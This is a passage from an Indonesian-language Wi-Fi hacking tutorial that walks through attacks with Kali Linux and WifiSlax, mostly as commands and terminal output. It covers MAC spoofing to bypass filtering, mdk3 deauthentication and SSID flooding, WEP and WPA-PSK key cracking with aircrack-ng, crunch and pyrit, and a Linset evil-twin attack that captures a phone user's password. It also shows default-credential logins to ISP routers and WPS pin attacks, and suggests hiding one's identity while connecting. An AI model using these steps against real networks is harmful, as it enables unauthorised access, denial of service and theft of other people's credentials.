E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -46    0 - 1      0        7  Belajar1
(not associated)   A0:F3:C1:27:51:93    0    0 - 1      0       33
(not associated)   6C:5F:1C:93:89:69  -48    0 - 1      0        8
```

Untuk lebih jelas bias dengan perintah seperti di bawah ini untuk mengetahui siapa saja yang terkoneksi dengan access point.

```
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B  -47       58        6    0   1  54e. OPN              Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -46    0 - 1      0        7  Belajar1
(not associated)   A0:F3:C1:27:51:93    0    0 - 1      0       33
(not associated)   6C:5F:1C:93:89:69  -48    0 - 1      0        8

root@kalidata:~# airodump-ng -w cariclientaja --channel 1 --bssid E8:94:F6:44:0C:9B mon0
```

Di sini ada 2 client yang terkoneksi ke access point.

```
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B  -47  96      738      160    1   1  54e. OPN              Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -46    0 - 1      0       26
E8:94:F6:44:0C:9B  6C:5F:1C:93:89:69  -56    0 - 1      0       11
```

12.1.2 Filtering mac dengan Allow the stations specified by any enabled entries in the list to access.

Dalam kondisi mode monitor sudah aktif di kali linux yang nantinya untuk melihat client yang sudah terkoneksi di access point.

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:135 errors:0 dropped:0 overruns:0 frame:0
          TX packets:135 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:41693 (40.7 KiB)  TX bytes:41693 (40.7 KiB)

mon0      Link encap:UNSPEC  HWaddr 64-66-B3-1E-A4-CD-00-00-00-00-00-00-00
-00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:393 errors:0 dropped:399 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:87582 (85.5 KiB)  TX bytes:0 (0.0 B)

wlan1     Link encap:Ethernet  HWaddr 64:66:b3:1e:a4:cd
          inet6 addr: fe80::6666:b3ff:fe1e:a4cd/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:121 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:22764 (22.2 KiB)  TX bytes:2927 (2.8 KiB)

root@kalidata:~#
```

```
          RX packets:121 errors:0 dropped:0 ove
          TX packets:22 errors:0 dropped:0 over
          collisions:0 txqueuelen:1000
          RX bytes:22764 (22.2 KiB)  TX bytes:2

root@kalidata:~# airodump-ng mon0
```

```
Applications  Places                                   Mon Aug 10, 10:56 AM
                                   root@kalidata: ~
File  Edit  View  Search  Terminal  Help

CH 12 ][ Elapsed: 3 mins ][ 2015-08-10 10:56

BSSID     AP          PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B     45       75        4    0   1  54e. OPN              Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -40    0 - 1      0        4
(not associated)   6C:5F:1C:93:89:69  -52    0 - 1      0       12
(not associated)   64:66:B3:1E:A4:CD    0    0 - 1      0       22
```

Di atas diketahui ada client yang join pada access point dengan SSID Belajar1.

Di sini Access Point diproteksi dengan Wireless Mac Filtering tapi dengan Filtering Rules : Allow the stations specified by any enabled entries in the list to access.

Di sini dimasukkan ip address client access point yang terdeteksi oleh kali linux dengan tool airodump-ng. Dengan setting seperti ini yang boleh masuk ke access point hanya mac address B8:EE:65:58:CD:13.

Hasil di access point setelah dilakukan save

Di sini agar pengguna kali linux bisa masuk ke AP yang diproteksi maka cukup mengganti mac address dengan mac client yang sudah masuk.

```
root@kalidata:~# ifconfig wlan0 down
root@kalidata:~# macchanger -m B8:EE:65:58:CD:13 wlan0
Permanent MAC: a0:f3:c1:27:51:93 (unknown)
Current   MAC: a0:f3:c1:27:51:93 (unknown)
New       MAC: b8:ee:65:58:cd:13 (unknown)
root@kalidata:~# ifconfig wlan0 up
root@kalidata:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:5b:13:a3
          inet addr:192.168.1.112  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe5b:13a3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:709 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:48865 (47.7 KiB)  TX bytes:1526 (1.4 KiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:176 errors:0 dropped:0 overruns:0 frame:0
          TX packets:176 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:51629 (50.4 KiB)  TX bytes:51629 (50.4 KiB)

mon0      Link encap:UNSPEC  HWaddr A0-F3-C1-27-51-93-00-00-00-00-00-00-00-00-00-00
          UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI  MTU:1500  Metric:1
          RX packets:12454 errors:0 dropped:6646 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1858112 (1.7 MiB)  TX bytes:0 (0.0 B)

wlan0     Link encap:Ethernet  HWaddr b8:ee:65:58:cd:13
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
```

Di sini untuk join dipastikan dulu pengguna tersebut sudah keluar, bisa dengan memanfaatkan mdk3 mon0 -b nama_file_berisi_mac_yang_tidak_boleh_masuk_ap atau bisa juga dengan aireplay-ng.

Jika pemilik mac address b8:ee:65:58:cd:13 sudah keluar maka masuk ke AP tersebut, hasilnya seperti di bawah ini, berhasil terkoneksi.

```
          UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI  MTU:1500  Metric:1
          RX packets:20337 errors:0 dropped:14318 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3282088 (3.1 MiB)  TX bytes:0 (0.0 B)

wlan0     Link encap:Ethernet  HWaddr b8:ee:65:58:cd:13
          inet addr:192.168.1.132  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::baee:65ff:fe58:cd13/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:130 errors:0 dropped:0 overruns:0 frame:0
          TX packets:49 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:26425 (25.8 KiB)  TX bytes:7444 (7.2 KiB)
```

12.2 Cara mengetahui ip address salah satu client untuk perkiraan pemetaan jaringan

Wireshark is a network protocol analyzer for Unix and Windows. List of features.

Sumber : Wireshark.org - https://www.wireshark.org

Ketik wireshark lalu enter

Klik Interface List

Pilih mon0 lalu Start

Terdeteksi keberadaan ip address

12.3 Cara mengetahui SSID yang di hidden

Saat SSID dilakukan hidden maka pengguna harus mengetahui nama SSID untuk masuk ke jaringan. Pada Access Point, Enable SSID Broadcast tidak dicentang yang artinya SSID akan hidden.

Saat di kali linux, airmon-ng start wlan0 lalu airodump-ng mon0 hasilnya seperti di bawah ini SSID Belajar1 tidak tampil, yang tampil adalah <length: 0>

Saat client Windows 8.1 akan gabung ke access point tersebut hasilnya adalah ditampilkan tulisan Hidden Netowrk.

Klik Connect

Client memasukkan Belajar1

Hasilnya setelah client memasukkan Belajar1 ke dalam masukan nama SSID adalah di kolom ESSID Kali linux muncul tulisan Belajar1.

Jika pengguna sudah terlanjur bergabung ke hotspot maka dapat memanfaatkan aireplay. aireplay-ng -0 0 -a (mac address access point) -c (mac address client) mon0 lalu enter

12.4 Teknik Membanjiri dengan fake SSID

SSID atau Service set identifier adalah tempat mengisikan nama dari access point yang akan disetting. Apabila klien komputer sedang mengakses kita misalnya dengan menggunakan super scan, maka nama yang akan timbul adalah nama SSID yang diisikan tersebut.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Service_set_identifier

Di sini akan dicoba untuk membanjiri SSID sehingga client diharapkan dapat membuat pengguna kebingugan saat ingin bergabung ke hotspot.

Cara memperbanyak SSID

Ketik Ifconfig lalu enter untuk mengetahui keberadaan wireless network card.

Ketik Airmon-ng start wlan0 lalu enter jika wireless network card menggunakan interface wlan0.

Buat suatu file yang diisi nama-nama yang akan digunakan untuk membanjiri. Ketik nano ssid

```
@kalidata:~#
@kalidata:~# nano ssid
```

Tampilan Editor nano

```
Applications  Places
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                    File:

nana
silvia
reni
vina
putri
nina
hapsari
```

Simpan hasil ketikan di file ssid.

Ketik mdk3 mon0 b -f ssid lalu enter

Hasil dari mdk3 mon0 b -f ssid

```
root@kalidata:~# mdk3 mon0 b -f ssid

Current MAC: 71:B7:44:F0:71:B7 on Channel  2 with SSID: nana
Current MAC: 71:B7:A8:F0:71:B7 on Channel  2 with SSID: putri
Current MAC: 71:B7:8C:F0:71:B7 on Channel  1 with SSID: reni
Current MAC: 71:B7:70:F0:71:B7 on Channel 13 with SSID: nana
Current MAC: 71:B7:B4:F0:71:B7 on Channel  9 with SSID: putri
Current MAC: 71:B7:98:F0:71:B7 on Channel  1 with SSID: reni
Current MAC: 71:B7:7C:F0:71:B7 on Channel  7 with SSID: nana
Current MAC: 71:B7:44:F0:71:B7 on Channel  6 with SSID: putri
Current MAC: 71:B7:A4:F0:71:B7 on Channel 14 with SSID: reni
Current MAC: 71:B7:6C:F0:71:B7 on Channel  6 with SSID: hapsari
Current MAC: 71:B7:50:F0:71:B7 on Channel  2 with SSID: putri
Current MAC: 71:B7:5C:F0:71:B7 on Channel  9 with SSID: hapsari
Current MAC: 71:B7:BC:F0:71:B7 on Channel 14 with SSID: putri
Current MAC: 71:B7:A0:F0:71:B7 on Channel  7 with SSID: reni
Current MAC: 71:B7:68:F0:71:B7 on Channel 12 with SSID: hapsari
Current MAC: 71:B7:68:F0:71:B7 on Channel  9 with SSID: nina
Current MAC: 71:B7:4C:F0:71:B7 on Channel  6 with SSID: vina
Current MAC: 71:B7:90:F0:71:B7 on Channel  5 with SSID: nana
Current MAC: 71:B7:90:F0:71:B7 on Channel 13 with SSID: hapsari
Current MAC: 71:B7:58:F0:71:B7 on Channel 14 with SSID: vina
Current MAC: 71:B7:9C:F0:71:B7 on Channel  5 with SSID: nana
Current MAC: 71:B7:80:F0:71:B7 on Channel 11 with SSID: nina
```

Hasilnya di komputer client

12.5 Teknik mematikan koneksi wireless target dengan mdk3

Here's what mdk3 actually does :

1. It can deauthenticate clients from all nearby or a selected Access Point thus providing a denial of service
2. It can flood the nearby APs with authentication requests. This can lead to a situation where some APs will need to be restarted or the become full and will not accept any new users
3. It can create a beacon flood of fake APs specifying some ssid or generating random ssid names
4. the legitimate clients that were booted from their APs in step 1 will have a lot of problems reconnecting

Sumber : technology.feedfury.co - http://technology.feedfury.com/content/26528514-mdk3-backtrack-tutorial.html

Menendang semua user yang sedang online :

1. *airmon-ng start wlan0*
2. *iwconfig wlan0 channel 8*
3. *mdk3 mon0 d*

```
root@kalidata:~# mdk3 mon0 d

Disconnecting between: 33:33:00:00:00:16 and: E8:94:F6:44:0C:9B
Disconnecting between: 33:33:FF:93:89:69 and: E8:94:F6:44:0C:9B
Disconnecting between: 33:33:00:00:00:16 and: E8:94:F6:44:0C:9B
Disconnecting between: 33:33:00:00:00:16 and: E8:94:F6:44:0C:9B
Disconnecting between: 64:66:B3:1E:A4:CD and: E8:94:F6:44:0C:9B
Disconnecting between: 01:00:5E:7F:FF:FA and: E8:94:F6:44:0C:9B
Disconnecting between: 01:00:5E:7F:FF:FA and: E8:94:F6:44:0C:9B
Disconnecting between: 64:66:B3:1E:A4:CD and: E8:94:F6:44:0C:9B
```

Hasilnya di komputer target.

12.5.1 Menendang semua user kecuali yang berada dalam white.txt

Jalankan perintah ifconfig wlan0 simpan mac address di file white.txt (bebas)

Masukkan perintah :

echo (mac address) > whitet.txt

Aktifin mode monitor di wireless,untuk memunculkan interface baru (mon0)

Masukkan perintah

1. *airmon-ng start wlan0*
2. *mdk3 mon0 d -w white.txt*

12.5.2 Menendang semua user yang berada di dalam file black.txt

Di sini dibuat file black.txt yang isinya mac address korban yang akan dibuat disconnect, jalankan mdk3 dengan perintah

1. *airmon-ng start wlan0*
2. mdk3 mon0 d -b black.txt

12.6 Cara cracking proteksi WEP

Shared Key atau WEP (Wired Equivalent Privacy) adalah suatu metoda pengamanan jaringan nirkabel, disebut juga dengan Shared Key Authentication. Shared Key Authentication adalah metoda otentikasi yang membutuhkan penggunaan WEP. Enkripsi WEP menggunakan kunci yang dimasukkan (oleh administrator) ke client maupun access point. Kunci ini harus cocok dari yang diberikan akses point ke client, dengan yang dimasukkan client untuk autentikasi menuju access point.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Wired_Equivalent_Privacy

Pada Wireless lalu Security Wireless, set WEP

Di komputer Kali Linux ketik airmon-ng start wlan0

```
root@kalidata:~# airmon-ng start wlan0


Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID     Name
2296    NetworkManager
2569    wpa_supplicant


Interface       Chipset         Driver

wlan0           Ralink RT2870/3070      rt2800usb - [phy0]
                                (monitor mode enabled on mon2)
mon0            Ralink RT2870/3070      rt2800usb - [phy0]
mon1            Ralink RT2870/3070      rt2800usb - [phy0]
```

Ketik airodump-ng mon0

```
root@kalidata:~# airodump-ng mon0
```

Hasilnya tampil access point target

```
File  Edit  View  Search  Terminal  Help

CH  8 ][ Elapsed: 16 s ][ 2015-08-10 14:44

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B  -47        5        0    0   1  54e. WEP  WEP         Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

(not associated)   B8:EE:65:58:CD:13    0    0 - 1      0        2
```

Kumpulkan paket dengan perintah airodump

```
root@kalidata:~# airodump-ng -w weptesting --channel 1 --bssid e8:94:f6:44:0c:9B mon0
```

Proses Pengumpulan paket

```
CH  1 ][ Elapsed: 7 mins ][ 2015-08-10 14:55 ][ fixed channel mon0: -1

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

E8:94:F6:44:0C:9B  -44  12     3179     7389   73   1  54e. WEP  WEP    OPN  Belajar1

BSSID              STATION            PWR   Rate    Lost    Frames  Probe

E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -48   48e-54e  4172     7312  Belajar1
```

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# ls -l weptesting-01.cap
-rw-r--r-- 1 root root 3084123 Aug 10 14:54 weptesting-01.cap
root@kalidata:~# aircrack-ng weptesting-01.cap
```

Untuk mempercepat paket ketik aireplay-ng -0 0 -a (mac address access point) -c (mac address client) mon0 lalu enter

Setelah terkumpul dirasa cukup maka crack dengan aircrack-ng.

Aircrack-ng (nama paket). Misal aircrack-ng weptesting-01.cap

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
CH  1 ][ Elapsed: 13 mins ][ 2015-08-10 15:01 ][ fixed channel mon0: -1
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E
E8:94:F6:44:0C:9B  -47   3     3371    28386   68   1  54e. WEP  WEP    OPN  B
BSSID              STATION            PWR   Rate    Lost    Frames  Probe
E8:94:F6:44:0C:9B  B8:EE:65:58:CD:13  -48   54e-54e  13876   28739  Belajar1
```

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
                    Aircrack-ng 1.2 beta3

              [00:00:31] Tested 1095 keys (got 26181 IVs)

KB    depth   byte(vote)
 0    0/  3   31(36352) 8C(34560) D5(33536) D0(32512) 18(32256)
 1    0/  1   32(40960) 17(35328) DD(33280) ED(33280) 43(33024)
 2    4/  6   69(32512) 96(32256) 9D(32256) A6(32256) D5(32256)
 3    1/  6   34(35584) 5D(34816) 3D(33536) A1(33536) A2(33024)
 4    1/ 12   35(34048) F3(32768) 47(32512) 6F(32256) 0D(32256)

              KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
      Decrypted correctly: 100%
```

12.7 Cara cracking proteksi WPA-PSK dengan wordlist

WPA (bahasa Inggris: Wi-Fi Protected Access) adalah suatu sistem yang juga dapat diterapkan untuk mengamankan jaringan nirkabel. Metoda pengamanan dengan WPA ini diciptakan untuk melengkapi dari sistem yamg sebelumnya, yaitu WEP.

Sumber : id.wikipedia.org https://id.wikipedia.org/wiki/Wi-Fi_Protected_Access

Di access point, wireless security di set WPA/WPA2 - Personal

Aktifkan mode monitor

Hasil informasi access point yang didapatkan.

airodump-ng -w wpa-testing -channel 1 -bbsid e8:94:f6:44:0c:9b mon0

```
File  Edit  View  Search  Terminal  Help

CH  1 ][ Elapsed: 3 mins ][ 2015-08-10 15:25 ][ fixed channel mon0: -1

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH E

E8:94:F6:44:0C:9B  -48   1     1269       59   23   1  54e. WPA2 TKIP   PSK  B

BSSID              STATION            PWR   Rate    Lost    Frames  Probe
```

Saat client masuk maka dapat langsung menjalankan aircrack-ng seperti di bawah ini

```
root@kalidata:~# aircrack-ng -w smalldict.txt wpa-testing-01.cap
```

Untuk memancing mendapatkan hash lebih cepat saat ada yang bergabung di hotspot, ketik aireplay-ng -0 0 -a (mac address access pont) -c (mac address client) mon0 lalu enter

Hasilnya setelah jika password di smalldict.txt

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help

                    Aircrack-ng 1.2 beta3

          [00:00:00] 52 keys tested (354.53 k/s)

                    KEY FOUND! [ baseball ]

      Master Key     : C0 D6 90 64 CA 10 B4 78 DC 5E E5 D6 3C 11 75 82
                       1F 8D B8 3E F7 3A 86 0B EB F5 0B 4A 2F 21 7B 83

      Transient Key  : 5B 96 93 07 E8 4D B3 BC 45 6C 5C 40 B2 58 62 F2
                       D2 69 81 4C 1D EB 7A 42 B6 22 EE D7 F8 B4 44 0C
                       CB 6F 74 6B 3E 95 DF 51 10 8F B6 0E C8 CB 93 5A
```

Crack WPA-PSK dengan menggunakan aircrack-ng dan crunch

crunch 8 8 basel | aircrack-ng -w - -b E8:94:F6:44:0C:9B wpa-testing-01.cap

```
                              Aircrack-ng 1.2 beta3

                    [00:00:33] 23800 keys tested (780.24 k/s)

                           KEY FOUND! [ baseball ]


      Master Key     : C0 D6 90 64 CA 10 B4 78 DC 5E E5 D6 3C 11 75 82
                       1F 8D B8 3E F7 3A 86 0B EB F5 0B 4A 2F 21 7B 83

      Transient Key  : 18 55 04 BF 8A 03 E7 4C E6 5C BD 59 9D 11 47 A3
                       26 DA E2 06 23 05 8D 40 64 91 EC 5C 61 53 64 5D
                       D8 AB BF 8D 14 47 62 00 FD A9 67 E3 42 04 70 EB
                       90 8E 5A D7 F6 3E 57 72 A3 28 F0 9E A7 F0 AB 35

      EAPOL HMAC     : F9 A4 BB 42 72 AE F3 9D C1 AA 13 42 64 2E 18 E7
root@kalidata:~# crunch 8 8 baseal | aircrack-ng -w - -b E8:94:F6:44:0C:9B  wpa-
testing-01.cap
```

Crack WPA-PSK dengan menggunakan pyrit dan crunch

crunch 8 8 basel | pyrit -r wpa-testing-01.cap -b E8:94:F6:44:0C:9B -I 0 attack_passthrough

```
root@kalidata:/var/www# crunch 8 8 basel | pyrit -r wpa-testing-01.cap -b E8:94:
F6:44:0C:9B -i - attack_passthrough
Crunch will now generate the following amount of data: 3515625 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 390625
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'wpa-testing-01.cap' (1/1)...
Parsed 14 packets (14 802.11-packets), got 1 AP(s)
```

Untuk mengetahui berapa lama agar password ditemukan dengan kriteria tertentu, maka masuk ke situs http://lastbit.com/pswcalc.asp

12.8 Client yang bergabung dalam jaringan hotspot dapat dideteksi keberadaannya melalui DHCP Client list

Jika client bergabung di jaringan hotspot dan menyewa ip address dari DHCP Server maka otomatis pada DHCP Client list akan muncul nama komputer, mac address dan ip address yang disewa.

Selain melalui DHCP Client list, pengguna jaringan hotspot dapat juga dideteksi keberadaannya dari Wireless Statistics.

Jika ingin mengakses sebagai orang yang tidak ingin dikenal maka ganti mac address dan ganti nama komputer, jika dirasa merepotkan maka dapat memanfaatkan virtual machine di virtualbox untuk bergabung ke hotspot dengan USB Wireless network Adapter.

12.9 Hacking WPA-PSK menggunakan LINSET

Linset yang digunakan adalah linset yang ada dalam distro WifiSlax. WifiSlax adalah distro linux yang dibuat khusus untuk hacking nirkabel.

Linset Is Not a Social Enginering Tool

Linset adalah suatu tool yang memungkinkan untuk mendapatkan password Wi-Fi dengan keamanan WPA atau WPA2 tanpa harus melakukan teknik Brute Force atau menggunakan wordlist.

Pilih Wifislax, lalu Wpa, lalu Linset (Evil twin attack).

Pilih 1 (wireless LAN adapter yang akan digunakan)

```
root : linset : - Konsole
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################


SELECCIONA CANAL

      1) Todos los canales
      2) Canal(es) específico(s)

      #>
```

Pilih 1

```
Escaneando Objetivos ...

CH  2 ][ Elapsed: 1 min ][ 2016-08-04 02:41

BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

C0:4A:00:87:80:51  -57       98        0    0   3  54e. WPA2 CCMP   PSK  Xcode Training
C8:3A:35:30:D3:11  -47       98        2    0   1  54e  WPA  CCMP   PSK  Koneksi
C8:3A:35:30:CA:61  -85        4        0    0   1  54e  WPA  CCMP   PSK  gembul

BSSID              STATION            PWR   Rate    Lost    Frames  Probe
```

Setelah tampil seperti di atas, tekan ctrl+c

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#        Linset Is Not a Social Enginering Tool        #
#                                                     #
#######################################################

                        Listado de APs Objetivo

 #      MAC                       CHAN    SECU     PWR    ESSID

 1)     C8:3A:35:30:CA:61         1       WPA      15%    gembul
 2)     C8:3A:35:30:D3:11         1       WPA      44%    Koneksi
 3)     C0:4A:00:87:80:51         3       WPA2     48%    Xcode Training

(*) Red con Clientes

        Selecciona Objetivo
      #> 3
```

Pilih ESSID yang ingin dilakukan hack.

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#        Linset Is Not a Social Enginering Tool        #
#                                                     #
#######################################################

INFO AP OBJETIVO

                    SSID = Xcode Training / WPA2
                   Canal = 3
               Velocidad = 54 Mbps
              MAC del AP = C0:4A:00:87:80:51 (TP-LINK TECHNOLOGIES CO.,LTD.)

MODO DE FakeAP

      1) Hostapd (Recomendado)
      2) airbase-ng (Conexion mas lenta)
      3) Atras

      #> 1
```

Pilih 1

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################


INFO AP OBJETIVO

                     SSID = Xcode Training / WPA2
                    Canal = 3
                Velocidad = 54 Mbps
               MAC del AP = C0:4A:00:87:80:51 (TP-LINK TECHNOLOGIES CO.,LTD.)


Introduzca la ruta del handshake que desea auditar (Ej: /root/micaptura.cap)
Pulsar ENTER para omitir

ruta:
```

Tekan enter

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################


TIPO DE COMPROBACION DEL HANDSHAKE

      1) aircrack-ng (Posibilidades de fallo)
      2) pyrit
      3) Atras

      #> 1
```

Pilih 1 lalu enter

```
root : linset : - Konsole
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                 LINSET 0.14 by vk496                #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################

CAPTURAR HANDSHAKE DEL CLIENTE

      1) Realizar desaut. masiva al AP objetivo
      2) Realizar desaut. masiva al AP (mdk3)
      3) Realizar desaut. especifica al AP objetivo
      4) Volver a escanear las redes
      5) Salir

      #> 1
```

Pilih 1 atau 2 lalu enter

```
root : linset : - Konsole
Capturando datos en el canal --> 3

CH  3 ][ Elapsed: 24 s ][ 2016-08-04 02:46

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  C

C0:4A:00:87:80:51  -28 100      261        0    0   3  54e. WPA2 C

BSSID              STATION            PWR   Rate    Lost    Frames
```

Tampilan awal

```
root : linset : - Konsole
Capturando datos en el canal --> 3

CH  3 ][ Elapsed: 2 mins ][ 2016-08-04 02:48 ][ WPA handshake: C0:

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  C

C0:4A:00:87:80:51  -28  15     1368      746   49   3  54e. WPA2 C

BSSID              STATION            PWR   Rate    Lost    Frames

C0:4A:00:87:80:51  F8:32:E4:61:F6:E8  -40    0e- 0e    52      716
```

Jika di atas muncul WPA handshake seperti di atas maka tekan Ctrl+c

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################

¿SE CAPTURÓ el HANDSHAKE?

Estado del handshake: Sin handshake

      1) Si
      2) No (lanzar ataque de nuevo)
      3) No (seleccionar otro ataque)
      4) Seleccionar otra red
      5) Salir

      #> 1
```

Pilih 1 lalu enter

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################


¿SE CAPTURÓ el HANDSHAKE?

Estado del handshake: Sin handshake

      1) Si
      2) No (lanzar ataque de nuevo)
      3) No (seleccionar otro ataque)
      4) Seleccionar otra red
      5) Salir

      #> 1
```

Pilih 1 lalu enter

```
File  Edit  View  Bookmarks  Settings  Help
#######################################################
#                                                     #
#                LINSET 0.14 by vk496                 #
#       Linset Is Not a Social Enginering Tool         #
#                                                     #
#######################################################


INFO AP OBJETIVO

                    SSID = Xcode Training / WPA2
                   Canal = 3
               Velocidad = 54 Mbps
              MAC del AP = C0:4A:00:87:80:51 (TP-LINK TECHNOLOGIES CO.,LT


SELECCIONA LA INTERFACE WEB

1) Interface web neutra
2) Salir

#? 1
```

Pilih 1 lalu enter

```
#                                                                    #
#######################################################


INFO AP OBJETIVO

                      SSID = Xcode Training / WPA2
                     Canal = 3
                 Velocidad = 54 Mbps
                MAC del AP = C0:4A:00:87:80:51 (TP-LINK TECHNOLOGIES CO.,L


SELECCIONA IDIOMA

1) English     [ENG]
2) Spanish     [ESP]
3) Italy       [IT]
4) French      [FR]
5) Portuguese  [POR]
6) Atras

#? 1
```

Pilih 1 lalu enter

```
Desautentificando con mdk3 a todos de Xcode Training

Periodically re-reading blacklist/whitelist every 3 seconds

Disconnecting between: F8:32:E4:61:F6:E8 and: C0:4A:00:87:80:51 on chann
: 3
Disconnecting between: F8:32:E4:61:F6:E8 and: C0:4A:00:87:80:51 on chann
: 3
Disconnecting between: F8:32:E4:61:F6:E8 and: C0:4A:00:87:80:51 on chann
: 3
Packets sent:     17 - Speed:    4 packets/sec
```

Tunggu

Di smartphone target

Di sini otomatis hotspot Xcode Training yang asli tidak bisa diakses dan pindah ke Xcode Training yang fake.

Saat target buka google.com dan melakukan login dengan password yang benar maka password akan muncul di komputer penyerang.

Tampilan di komputer penyerang. Password : baseball21

12.11 Hacking passsword WPA-PSK pada router ADSL melalui eksploitasi Wifi.id

Pilih pilihan seperti di atas.

Lakukan connect

Ganti ip address nya menjadi static

Pilih Internet Protocol Version 4 (TCP/IPv4) lalu pilih properties.

Set ip address dengan asumsi yang bisa dimulai pada umumnya di subnet 192.168.1.0/24. Jika ingin menggunakan cara lainnya bisa melakukan teknik mengetahui ip address salah satu client untuk perkiraan pemetaan jaringan yang ada di modul yang kemudian ganti ip address sesuai dengan subnet yang ada di jaringan tersebut.

Di sini target ip router nya adalah 192.168.1.1.

Salah satu username dan password yang dapat dicoba adalah

Username : support

Password : support.

Setelah berhasil masuk maka pilih Interface Setup lalu Wireless setelah itu lihat Pre-Shared Key nya untuk mengetahui password WPA-PSK nya.

12.11 Hacking password WPA-PSK menggunakan Dumpper dan Jumpstart

Hacking password WPA-PSK pada access point tertentu dengan pin WPS aktif. Di sini yang dijadikan contoh adalah Router modem ADSL TD-W8151N.

Jalankan program Dumpper

Saat scan muncul essid yang aktif

Pilih WPS lalu pilih Todas las redes, lalu scan, lalu klik essid target.

Klik Iniciar JumpStart

Setelah muncul Wireless Configuration Completed maka masuk ke Open Network and Sharing Center

Klik Open Network and Sharing Center

Pilih Wifi (MySpeedy@2F30)

Klik Wireless Properties lalu pilih Security lalu klik Show characters dan password WPA-PSK pun muncul.

